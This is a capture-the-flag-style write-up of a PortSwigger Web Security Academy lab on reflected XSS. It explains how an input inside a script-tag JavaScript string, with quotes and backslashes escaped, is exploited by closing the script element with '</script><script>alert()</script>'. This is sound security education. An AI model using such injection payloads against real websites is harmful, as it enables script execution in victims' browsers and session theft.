

Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped

Lab Information

- **Platform:** PortSwigger Web Security Academy
- **Category:** Reflected Cross-Site Scripting (XSS)
- **Difficulty:** Practitioner
- **Status:** Solved 

Objective

The application contains a reflected XSS vulnerability in the search query tracking functionality.

The user input is reflected inside a JavaScript string.

The application escapes:

- Single quotes `'`
- Backslashes `\`

The goal is to break out of the JavaScript context and execute:

```
alert()
```

Reconnaissance

The first step was to identify where the search input was reflected.

I submitted a simple value:

```
test
```

The input was reflected inside a `<script>` element.

The structure was conceptually similar to:

```
<script>
  var search = 'USER_INPUT';
</script>
```

This showed that the injection point was inside a **JavaScript string inside a `<script>` tag**.

Important Observation

The application escapes single quotes and backslashes.

Therefore, a traditional JavaScript-string payload such as:

```
'`;alert(1);//
```

would not work as expected because the single quote is escaped.

Vulnerability Analysis

The important part of the page is the JavaScript context:

```
<script>
  var search = 'USER_INPUT';
</script>
```

Normally, we might try to break out of the string using:

```
'
```

However, the application escapes the single quote.

For example:

```
'
```

may become:

```
\'
```

The same applies to backslashes.

Therefore, instead of trying to escape the **JavaScript string**, I looked at the larger parsing context.

The input was located inside a `<script>` element.

This introduced another possible attack technique:

```
</script>
```

💥 Exploitation

The payload that successfully solved the lab was:

```
</script><script>alert()</script>
```

Payload

```
</script><script>alert()</script>
```

What the payload does

The payload contains three important parts:

```
</script>
```

Closes the existing `<script>` element.

Then:

```
<script>alert()</script>
```

Creates a new `<script>` element containing JavaScript.

The browser therefore interprets:

```
alert()
```

as executable JavaScript.

Why the Payload Works

Suppose the application generates something conceptually similar to:

```
<script>
  var search = 'USER_INPUT';
</script>
```

After injecting:

```
</script><script>alert()</script>
```

the resulting HTML becomes conceptually:

```
<script>
  var search = '</script><script>alert()</script>';
</script>
```

The important part is that the browser's HTML parser recognizes:

```
</script>
```

as the end of the current `<script>` element.

It does not matter that the payload is technically inside a JavaScript string from the developer's perspective.

The HTML parser processes the closing `</script>` and terminates the script element.

The browser then encounters:

```
<script>alert()</script>
```

and executes:

```
alert()
```

Parser Context

This lab demonstrates an important distinction between two parsers.

JavaScript Parser

The application tried to protect the JavaScript string by escaping:

```
'
```

HTML Parser

However, the browser still processes the `<script>` element boundaries.

Therefore:

```
JavaScript escaping
    ↓
' and \ are escaped
    ↓
Traditional string breakout fails
    ↓
Look at HTML parsing
    ↓
</script>
    ↓
Script element terminated
    ↓
New <script> injected
    ↓
JavaScript executed
```

Tools Used

- Burp Suite
 - Browser DevTools
 - Chrome
 - PortSwigger Web Security Academy
-

✓ Solution

The lab was solved using:

```
</script><script>alert()</script>
```

The attack works because the payload does not depend on breaking the JavaScript string using a single quote.

Instead, it closes the existing `<script>` element:

```
</script>
```

and creates a new script element:

```
<script>alert()</script>
```

The final execution flow is:

```
Search Input
  ↓
Reflected inside <script>
  ↓
Single quote is escaped
  ↓
Backslash is escaped
  ↓
' based payload fails
  ↓
Use </script>
  ↓
Close existing script
  ↓
Inject new <script>
  ↓
alert()
  ↓
Lab Solved ✓
```

What I Learned

- Always identify the exact injection context before choosing an XSS payload.
- Being inside a JavaScript string does not mean the only possible attack is breaking the string with `'`.
- HTML parsing and JavaScript parsing are related but different processes.
- The sequence:

```
</script>
```

can terminate an existing script element.

- Escaping `'` and `\` does not necessarily prevent XSS when the input is inside a `<script>` element.
- A useful XSS strategy is to think about **which parser interprets the input first**.
- The payload:

```
</script><script>alert()</script>
```

does not require:

```
'
```

which allows it to bypass the specific escaping used by this lab.

References

- PortSwigger Web Security Academy
- PortSwigger Cross-Site Scripting (XSS) documentation
- OWASP Cross-Site Scripting Prevention Cheat Sheet